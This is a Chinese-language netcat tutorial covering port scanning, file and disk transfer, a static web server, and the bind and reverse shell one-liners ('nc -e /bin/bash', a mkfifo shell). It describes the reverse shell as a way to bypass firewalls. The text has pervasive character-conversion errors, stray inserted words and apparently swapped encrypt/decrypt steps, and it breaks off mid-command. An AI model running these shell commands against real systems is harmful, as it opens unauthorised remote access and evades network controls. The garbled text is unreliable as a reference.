Linux nc命令用法html
參考地址:https://www.cnblogs.com/jjzd/p/6306273.htmlweb
-g<網關>:設置路由器躍程通訊網關,最多設置8個; -G<指向器數目>:設置來源路由指向器,其數值爲4的倍數; -h:在線幫助; -i<延遲秒數>:設置時間間隔,以便傳送信息及掃描通訊端口; -l:使用監聽模式,監控傳入的資料; -n:直接使用ip地址,而不經過域名服務器; -o<輸出文件>:指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存; -p<通訊端口>:設置本地主機使用的通訊端口; -r:指定源端口和目的端口都進行隨機的選擇; -s<來源位址>:設置本地主機送出數據包的IP地址; -u:使用UDP傳輸協議; -v:顯示指令執行過程; -w<超時秒數>:設置等待連線的時間; -z:使用0輸入/輸出模式,只在掃描通訊端口時使用。
首先查看是否安裝了nc工具shell
rpm -qa | grep ^nmap-ncat || yum -y install nmap-ncat
監聽本地主機: $nc -l 80 鏈接到遠程主機: nc -nvv 192.168.x.x 80 連到192.168.x.x的TCP80端口. Server:$nc -l 2389 Client:$ nc -w 10 localhost 2389 使用 -w 參數來指定鏈接的空閒超時時間,該參數緊接一個數值,表明秒數,若是鏈接超過指定時間則鏈接會被終止
1、端口掃描 nc -z -v -n 192.168.1.1 21-25 連續端口寫成 21-25 z 參數告訴netcat使用0 IO,鏈接成功後當即關閉鏈接, 不進行數據交換. v 參數指詳細輸出. n 參數告訴netcat 不要使用DNS反向查詢IP地址的域名. # 如下這條命令能夠指定ip,或者域名 nc -v 127.0.0.1 22 localhost [127.0.0.1] 22 (ssh) open SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4 "SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4"爲Banner信息。Banner是一個文本,Banner是一個你鏈接的服務發送給你的文本信息。當你試圖鑑別漏洞或者服務的類型和版本的時候,Banner信息是很是有用的。可是,並非全部的服務都會發送banner.一旦你發現開放的端口,你能夠容易的使用netcat 鏈接服務抓取他們的banner。 2、Chat Server 假如你想和你的朋友聊聊,有不少的軟件和信息服務能夠供你使用。可是,若是你沒有這麼奢侈的配置,好比你在計算機實驗室,全部的對外的鏈接都是被限制的,你怎樣和成天坐在隔壁房間的朋友溝通那?不要鬱悶了,netcat提供了這樣一種方法,你只須要建立一個Chat服務器,一個預先肯定好的端口,這樣子他就能夠聯繫到你了。 Server:$nc -l 20000 netcat 命令在20000端口啓動了一個tcp 服務器,全部的標準輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展現。 Client:$nc 192.168.1.1 20000 3、文件傳輸 Server$nc -l 20000 < file.txt Client$nc -n 192.168.1.1 20000 > file.txt 4、目錄傳輸 Server:tar -cvf – dir_name | nc -l 20000 Client:$nc -n 192.168.1.1 20000 | tar -xvf - 5、加密你經過網絡發送的數據 Server:$nc localhost 20000 | mcrypt –flush –bare -F -q -d -m ecb > file.txt使用mcrypt工具加密數據。 Client:$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 20000 使用mcrypt工具解密數據。 以上兩個命令會提示須要密碼,確保兩端使用相同的密碼。 這裏咱們是使用mcrypt用來加密,使用其它任意加密工具均可以。 6、流視頻 Server:$cat video.avi | nc -l 20000 這裏咱們只是從一個視頻文件中讀入並重定向輸出到netcat客戶端 Client:$nc 192.168.1.1 20000 | mplayer -vo x11 -cache 3000 - 這裏咱們從socket中讀入數據並重定向到mplayer。 7、克隆一個設備 若是你已經安裝配置一臺Linux機器而且須要重複一樣的操做對其餘的機器,而你不想在重複配置一遍。不在須要重複配置安裝的過程,只啓動另外一臺機器的一些引導能夠隨身碟和克隆你的機器。 克隆Linux PC很簡單,假如你的系統在磁盤/dev/sda上 Server: $dd if=/dev/sda | nc -l 20000 Client: $nc -n 192.168.1.1 20000 | dd of=/dev/sda dd是一個從磁盤讀取原始數據的工具,我經過netcat服務器重定向它的輸出流到其餘機器而且寫入到磁盤中,它會隨着分區表拷貝全部的信息。可是若是咱們已經作過度區而且只須要克隆root分區,咱們能夠根據咱們系統root分區的位置,更改sda 爲sda1,sda2.等等。 8、打開一個shell 咱們已經用過遠程shell-使用telnet和ssh,可是若是這兩個命令沒有安裝而且咱們沒有權限安裝他們,咱們也可使用netcat建立遠程shell。 假設你的netcat支持 -c -e 參數(原生 netcat) Server $nc -l 20000 -e /bin/bash -i Client $nc 192.168.1.1 20000這裏咱們已經建立了一個netcat服務器而且表示當它鏈接成功時執行/bin/bash 假如netcat 不支持-c 或者 -e 參數(openbsd netcat),咱們仍然可以建立遠程shell Server $mkfifo /tmp/tmp_fifo $cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 20000 > /tmp/tmp_fifo這裏咱們建立了一個fifo文件,而後使用管道命令把這個fifo文件內容定向到shell 2>&1中。是用來重定向標準錯誤輸出和標準輸出,而後管道到netcat 運行的端口20000上。至此,咱們已經把netcat的輸出重定向到fifo文件中。 說明: 從網絡收到的輸入寫到fifo文件中 cat 命令讀取fifo文件而且其內容發送給sh命令 sh命令進程受到輸入並把它寫回到netcat。 netcat 經過網絡發送輸出到client 至於爲何會成功是由於管道使命令平行執行,fifo文件用來替代正常文件,由於fifo使讀取等待而若是是一個普通文件,cat命令會盡快結束並開始讀取空文件。 在客戶端僅僅簡單鏈接到服務器 Client $nc -n 192.168.1.1 20000你會獲得一個shell提示符在客戶端 9、反向shell 反向shell是指在客戶端打開的shell。反向shell這樣命名是由於不一樣於其餘配置,這裏服務器使用的是由客戶提供的服務。 Server $nc -l 20000在客戶端,簡單地告訴netcat在鏈接完成後,執行shell。 Client $nc 192.168.1.1 20000 -e /bin/bash如今,什麼是反向shell的特別之處呢 反向shell常常被用來繞過防火牆的限制,如阻止入站鏈接。例如,我有一個專用IP地址爲192.168.1.1,我使用代理服務器鏈接到外部網絡。若是我想從網絡外部訪問 這臺機器如1.2.3.4的shell,那麼我會用反向外殼用於這一目的。 10、指定源端口 假設你的防火牆過濾除25端口外其它全部端口,你須要使用-p選項指定源端口。 Server $nc -l 20000Client $nc 192.168.1.1 20000 25使用1024之內的端口須要root權限。 該命令將在客戶端開啓25端口用於通信,不然將使用隨機端口。 11、指定源地址 假設你的機器有多個地址,但願明確指定使用哪一個地址用於外部數據通信。咱們能夠在netcat中使用-s選項指定ip地址。 Server $nc -u -l 20000 < file.txtClient $nc -u 192.168.1.1 20000 -s 172.31.100.5 > file.txt該命令將綁定地址172.31.100.5。 12、靜態web頁面服務器 新建一個網頁,命名爲somepage.html; 新建一個shell script: while true; do nc -l 80 -q 1 < somepage.html; done用root權限執行,而後在瀏覽器中輸入127.0.0.1打開看看是否正確運行。 nc 指令一般都是給管理者進行除錯或測試等動做用的,因此若是隻是單純須要臨時的網頁伺服器,使用 Python 的 SimpleHTTPServer 模組會比較方便。 13、模擬HTTP Headers $nc www.huanxiangwu.com 80 GET / HTTP/1.